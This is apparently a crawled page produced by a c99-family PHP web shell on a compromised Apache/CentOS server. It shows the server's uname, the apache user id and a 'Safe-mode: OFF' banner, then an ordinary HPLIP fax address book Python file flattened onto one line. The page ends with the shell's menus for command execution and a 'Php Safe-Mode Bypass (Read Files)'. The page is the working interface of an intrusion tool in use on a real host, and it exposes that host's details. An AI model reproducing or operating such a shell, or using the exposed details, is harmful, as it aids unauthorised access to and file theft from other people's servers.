Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/bin/ drwxr-xr-x |
Viewing file: Select action/file-type: #!/usr/bin/env python # -*- coding: utf-8 -*- # # (c) Copyright 2003-2006 Hewlett-Packard Development Company, L.P. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # Author: Don Welch # __version__ = '2.0' __title__ = "Fax Address Book" __doc__ = "A simple fax address book for HPLIP." import cmd from base.g import * from base import utils import getopt log.set_module("hp-fab") def additional_copyright(): log.info("Includes code from KirbyBase 1.8.1") log.info("Copyright (c) Jamey Cribbs (jcribbs@twmi.rr.com)") log.info("Licensed under the Python Software Foundation License.") log.info("") USAGE = [(__doc__, "", "name", True), ("Usage: hp-fab [MODE] [OPTIONS]", "", "summary", True), ("[MODE]", "", "header", False), ("Enter interactive mode:", "-i or --interactive (see Note 1)", "option", False), ("Enter graphical UI mode:", "-u or --gui (Default)", "option", False), #("Run in non-interactive mode (batch mode):", "-n or --non-interactive", "option", False), utils.USAGE_SPACE, utils.USAGE_OPTIONS, utils.USAGE_LOGGING1, utils.USAGE_LOGGING2, utils.USAGE_LOGGING3, utils.USAGE_HELP, utils.USAGE_NOTES, ("1. Use 'help' command at the fab > prompt for command help (interactive mode (-i) only).", "", "note", False), utils.USAGE_SPACE, utils.USAGE_SEEALSO, ("hp-sendfax", "", "seealso", False), ] def usage(typ='text'): if typ == 'text': utils.log_title(__title__, __version__) additional_copyright() utils.format_text(USAGE, typ, __title__, 'hp-fab', __version__) sys.exit(0) ## Console class (from ASPN Python Cookbook) ## Author: James Thiele ## Date: 27 April 2004 ## Version: 1.0 ## Location: http://www.eskimo.com/~jet/python/examples/cmd/ ## Copyright (c) 2004, James Thiele class Console(cmd.Cmd): def __init__(self): cmd.Cmd.__init__(self) self.intro = "Type 'help' for a list of commands. Type 'exit' or 'quit' to quit." self.db = fax.FaxAddressBook() # kirbybase instance self.prompt = utils.bold("fab > ") ## Command definitions ## def do_hist(self, args): """Print a list of commands that have been entered""" print self._hist def do_exit(self, args): """Exits from the console""" return -1 def do_quit(self, args): """Exits from the console""" return -1 ## Command definitions to support Cmd object functionality ## def do_EOF(self, args): """Exit on system end of file character""" return self.do_exit(args) def do_help(self, args): """Get help on commands 'help' or '?' with no arguments prints a list of commands for which help is available 'help |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0095 ]-- |